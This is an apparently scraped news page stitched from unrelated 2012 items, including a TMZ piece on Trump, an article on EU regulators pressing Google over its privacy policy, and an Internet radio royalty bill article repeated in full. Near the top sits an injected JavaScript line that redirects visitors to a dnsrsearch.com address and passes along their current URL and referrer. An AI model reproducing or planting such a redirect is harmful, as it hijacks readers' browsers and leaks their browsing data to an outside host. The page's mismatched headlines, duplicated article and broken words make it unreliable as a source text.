Bits Blog: Tips for Making the Change to iOS 7

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

DealBook: Voting Rule Change Is Seen as Crucial to Dell Founder’s Takeover Bid

Donald Trump — My Obama Announcement Could Change the Election | TMZ.com

You are Here: Hip Hop News Daily » HIP HOP NEWS » Donald Trump Calls Touré “Racist,” Wants Him Fired From MSNBC

Donald Trump has made it clear … the information he has concerning the President of the United States is HUUUUGE … and he tells TMZ he’s going to reveal the info on Wednesday. 

Trump just called in to “TMZ Live” and told us the information is nothing short of “a big fact.”

When asked if his secret will make Obama happy – Trump replied, “I don’t wanna comment … that’s up to him.”

Earlier this morning, Trump described his information to "Fox & Friends" … saying it’s “something very, very big concerning the president of the United States … It’s going to be very big. I know one thing — you will cover it in a very big fashion.”

Read more: http://www.tmz.com/2012/10/22/donald-trump-obama-tmz-live-information/#ixzz2A8sMAxcx

Europe Presses Google to Change Privacy Policy

In a letter to Google, the regulators stopped short of describing the company’s 10-month-old data collection policy as illegal. But it noted that Google did not appear to adhere to Europe’s approach to data collection, which requires explicit prior consent by individuals and that the data collected be kept at a minimum.

The regulators couched their requests as “practical recommendations.” But when asked what regulators would do if Google did not accede and make changes, Jacob Kohnstamm, head of the Dutch data protection authority, said national regulators probably would take legal action to compel changes.

“After all, enforcement is the name of the game,” Mr. Kohnstamm said.

The request was made at a news conference in Paris by the French regulator, known as CNIL, or the National Commission for Computing and Civil Liberties, which was enacted on behalf of all European data regulators.

Google announced the new policy in January, billing it as a way to streamline and simplify the privacy practices it employed worldwide across about 60 different online services, and to introduce greater clarity for users

Google informed customers of its services, which include Gmail, Google Maps and YouTube, of the changes until they took effect in March, requiring them to agree to them in order to access their accounts.

European regulators voiced their concerns almost immediately and CNIL conducted an inquiry that lasted semonths.

Isabelle Falque-Pierrotin, the chairwoman of CNIL, said her agency was giving Google “three to four months” to respond to its concerns.

“If Google does not implement these recommendations, we will pass to a different phase, a phase of sanctions,” Ms. Falque-Pierrotin said.

Enforcement of privacy law in Europe remains a matter for national regulators. In France, CNIL has the legal ability to fine companies as much as €300,000, or about $390,000, for privacy breaches. But it remains unclear whether CNIL will levy a fine and whether other E.U. countries follow suit.

Google said in a statement that it believed that what it calls its privacy policy was legal.

“We have received the report and are reviewing it now,” Peter Fleischer, the Google global privacy counsel, said in the statement. “Our new privacy policy demonstrates our longstanding commitment to protecting our users’ information and creating great products. We are confident that our privacy notices respect European law.”

If adopted, the recommendations could have consequences on some of Google’s main businesses, which depend on consumer profiling for the targeting of advertising.

Jeff Gould, the president of SafeGov, a group based in San Francisco representing companies that sell software and hardware to governments, said Google’s privacy policy is very similar to that used by Microsoft and Facebook.

“Their approach is that we can take anything we learn from you from our services to build a profile of a user to serve targeted ads,” Mr. Gould said in an interview. “My view is that is a completely legitimate model if you give the consumer the opportunity to opt out.”

Google’s current privacy policy requires users to accept it before being able to use the full range of services, Mr. Gould said.

“The Europeans want Google to ask the user to give their consent explicitly and on a much more specific level, to permit the collection of data for targeted ads.”

“If Google did that responsibly, I don’t think it would kill their business,” Mr. Gould said. “But that is the 64,000 Terabyte question.”

In the letter sent to Google, the European data regulators said Google’s new policy allowed the company to “combine almost any data from any services for any purpose.”

“Google did not set any limits to the combination of data nor provide clear and comprehensive tools allowing its users to control it,” the letter said.

The regulators also noted that Google failed to tell the French investigators how long it kept certain kinds of data, despite being asked to.

The group asked Google to make several specific changes to give consumers more awareness and control over their data, including an interactive online presentation of how the data is used.

Internet Radio Royalty Bill Would Change Rate-Setting Standard

They are part of a federal judicial standard that is the basis of how royalty rates are set for Internet radio services like Pandora Media. For years, however, online services have complained that the standard is unfair, and results in burdensome rates that are much higher than those paid by satellite radio.

The battle flared up again on Friday with a new Congressional bill, the Internet Radio Fairness Act. Introduced in the House by Jason Chaffetz, Republican of Utah, and Jared Polis, Democrat of Colorado, the bill would move so-called noninteractive online radio services like Pandora and Clear Channel Communications’ iHeartRadio app from the “willing buyer, willing seller” standard to the one used to determine rates for Sirius XM Radio.

That model would let the panel of federal judges that set the rates consider evidence both on the value of the music and on the effect the royalty rate would have on the industry over all. Pandora and its supporters believe that standard would yield lower rates.

On the other side of the issue are record labels and artists, who believe that the existing rates are fair and accuse Pandora and others of wanting to deprive copyright holders of the income they deserve.

Pandora pays a fraction of a cent each time a user listens to a song, and the total must be a minimum of 25 percent of its annual revenue; last year it paid about half its revenue to labels and performers. Sirius’s current rate is 8 percent. (Both kinds of services also pay separate royalties to songwriters and publishers.)

Tim Westergren, Pandora’s founder, took to his company’s blog to say that the bill is long overdue. “The anti-Internet bias in federal law is nothing short of absurd,” he wrote.

Pandora’s position is supported by other digital services and by the National Association of Broadcasters.

Ted Kalo, executive director of the MusicFirst coalition, which represents many labels and artists, on Friday defended the current rates and said that the promised changes would unfairly benefit services like Pandora.

“There’s nothing fair about pampering Pandora, with its $1.8 billion market cap, at the expense of music creators,” Mr. Kalo said in a statement. “Going from a fair market, ‘willing buyer, willing seller,’ rate to a government-mandated subsidy will break the backs of artists, while Pandora executives pad their pockets.”

Throughout the music industry there is a wide belief that Pandora could solve its financial problems — the company, which went public a year ago, has never turned an annual profit — by simply selling more ads.

The issue is expected to be deliberated after the national elections in November, and probably into the spring.

Internet Radio Royalty Bill Would Change Rate-Setting Standard

They are part of a federal judicial standard that is the basis of how royalty rates are set for Internet radio services like Pandora Media. For years, however, online services have complained that the standard is unfair, and results in burdensome rates that are much higher than those paid by satellite radio.

The battle flared up again on Friday with a new Congressional bill, the Internet Radio Fairness Act. Introduced in the House by Jason Chaffetz, Republican of Utah, and Jared Polis, Democrat of Colorado, the bill would move so-called noninteractive online radio services like Pandora and Clear Channel Communications’ iHeartRadio app from the “willing buyer, willing seller” standard to the one used to determine rates for Sirius XM Radio.

That model would let the panel of federal judges that set the rates consider evidence both on the value of the music and on the effect the royalty rate would have on the industry over all. Pandora and its supporters believe that standard would yield lower rates.

On the other side of the issue are record labels and artists, who believe that the existing rates are fair and accuse Pandora and others of wanting to deprive copyright holders of the income they deserve.

Pandora pays a fraction of a cent each time a user listens to a song, and the total must be a minimum of 25 percent of its annual revenue; last year it paid about half its revenue to labels and performers. Sirius’s current rate is 8 percent. (Both kinds of services also pay separate royalties to songwriters and publishers.)

Tim Westergren, Pandora’s founder, took to his company’s blog to say that the bill is long overdue. “The anti-Internet bias in federal law is nothing short of absurd,” he wrote.

Pandora’s position is supported by other digital services and by the National Association of Broadcasters.

Ted Kalo, executive director of the MusicFirst coalition, which represents many labels and artists, on Friday defended the current rates and said that the promised changes would unfairly benefit services like Pandora.

“There’s nothing fair about pampering Pandora, with its $1.8 billion market cap, at the expense of music creators,” Mr. Kalo said in a statement. “Going from a fair market, ‘willing buyer, willing seller,’ rate to a government-mandated subsidy will break the backs of artists, while Pandora executives pad their pockets.”

Throughout the music industry there is a wide belief that Pandora could solve its financial problems — the company, which went public a year ago, has never turned an annual profit — by simply selling more ads.

The issue is expected to be deliberated after the national elections in November, and probably into the spring.